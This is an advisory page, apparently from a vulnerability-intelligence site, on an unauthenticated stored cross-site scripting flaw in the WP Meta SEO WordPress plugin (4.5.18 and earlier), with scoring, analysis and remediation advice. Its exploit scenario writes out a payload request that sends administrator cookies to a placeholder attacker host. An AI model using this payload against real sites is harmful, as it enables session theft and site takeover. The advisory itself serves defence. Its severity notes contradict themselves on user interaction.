EUVD-2026-38678
GHSA-qhjr-7q98-w4h3
Severity by source
AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N
Unauthenticated network injection (AV:N/AC:L/PR:N); UI:R because payload only fires when an admin opens the broken-link page; S:C and C:L/I:L for admin-session XSS impact.
Primary rating from Vendor (Wordfence).
CVSS VectorVendor: Wordfence
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N
Lifecycle Timeline
2DescriptionCVE.org
The WP Meta SEO plugin for WordPress is vulnerable to Unauthenticated Stored Cross-Site Scripting via the REQUEST_URI server variable in all versions up to, and including, 4.5.18. When the plugin's wpmsTemplateRedirect() hook detects a 404, it concatenates $_SERVER['HTTP_HOST'] with the raw $_SERVER['REQUEST_URI'] and inserts that value verbatim into the wp_wpms_links.link_url column via $wpdb->insert(). This makes it possible for unauthenticated attackers to inject arbitrary web scripts that execute whenever an administrator views the plugin's 404 & Redirects admin page (/wp-admin/admin.php?page=metaseo_broken_link).
Articles & Coverage 2
AnalysisAI
Unauthenticated stored cross-site scripting in the WP Meta SEO WordPress plugin (versions ≤ 4.5.18 by Joomunited) lets remote attackers persist arbitrary JavaScript into the wp_wpms_links.link_url database column by sending HTTP requests with a malicious URI to any 404 path. The payload executes in the browser of any administrator who opens the plugin's '404 & Redirects' admin page, enabling session hijacking or admin-on-behalf actions. …
Unlock full vulnerability intelligence
- Risk assessment & exploitation conditions
- Attack chain visualization
- Remediation with exact patch versions
- Threat intelligence from 22 sources
- Personal watchlist & email alerts
Free forever · No credit card required
Attack ChainAIDerived
Hypothetical attack flow derived from CVE metadata
Vulnerability AssessmentAI
| Exploitation | Requires the WP Meta SEO plugin (≤ 4.5.18) to be installed and active on a publicly reachable WordPress site, and the wpmsTemplateRedirect() hook must process the request - meaning the request must produce a 404 (any non-existent URL on the site works, no auth or token needed). … Additional conditions and limiting factors are described in the full assessment. |
| Risk Assessment | Vendor-assigned CVSS 7.2 (AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N) reflects a network-reachable, no-privilege injection whose scope changes to the admin's authenticated session. … Full risk analysis with EPSS, KEV, and SSVC signal comparison available after sign-in. |
| Exploit Scenario | An unauthenticated attacker sends a single HTTP GET request such as `GET /<script>fetch('//evil/x?c='+document.cookie)</script> HTTP/1.1` to any non-existent path on a vulnerable WordPress site; the plugin's 404 handler stores the URI verbatim in wp_wpms_links. When a site administrator next opens the '404 & Redirects' admin page (a routine SEO maintenance task), the script executes under the admin's session, allowing the attacker to steal the auth cookie, create a new admin user via the WordPress REST API, or plant a backdoor in theme files. … |
| Remediation | Upstream fix available (referenced via plugins.trac.wordpress.org changeset between tags 4.5.12 and 4.5.13); a released patched version covering 4.5.18 is not independently confirmed in the supplied data, so upgrade to the latest WP Meta SEO release available on the WordPress.org plugin directory and verify the installed version is greater than 4.5.18 before considering the issue closed. … Detailed patch versions, workarounds, and compensating controls in full report. |
Recommended ActionAI
Within 24 hours: Audit all WordPress instances for WP Meta SEO plugin installations (versions ≤ 4.5.18); document affected sites and identify dependent functionality. …
Sign in for detailed remediation steps and compensating controls.
Threat intelligence, references, and detailed analysis are available after sign-in.
Roundcube Webmail contains a critical PHP object deserialization vulnerability (CVE-2025-49113, CVSS 9.9) that allows au
Palo Alto Networks PAN-OS management web interface contains an authentication bypass allowing unauthenticated attackers
NetAlertX (formerly PiAlert) versions 23.01.14 through 24.x before 24.10.12 allow unauthenticated command injection thro
Invision Community 5.0.0 through 5.0.6 contains an unauthenticated remote code execution vulnerability in the template e
The Simple File List plugin for WordPress through version 4.2.2 contains an unauthenticated remote code execution vulner
The AI Engine WordPress plugin through version 3.1.3 exposes Bearer Token values through the /mcp/v1/ REST API endpoint
Cacti monitoring platform prior to version 1.2.29 allows authenticated users to achieve remote code execution through th
The SureTriggers WordPress plugin through version 1.0.78 contains an authentication bypass due to a missing empty value
The HUSKY Products Filter Professional for WooCommerce plugin through version 1.3.6.5 contains a critical Local File Inc
The User Registration & Membership WordPress plugin before version 4.1.2 fails to prevent users from setting their accou
The Advanced Custom Fields: Extended plugin for WordPress is vulnerable to Remote Code Execution in versions 0.9.0.5 thr
PHP Object Injection in the Better Search Replace WordPress plugin (versions up to and including 1.4.4) allows remote un
Same weakness CWE-79 – Cross-site Scripting (XSS)
View allShare
External POC / Exploit Code
Leaving vuln.today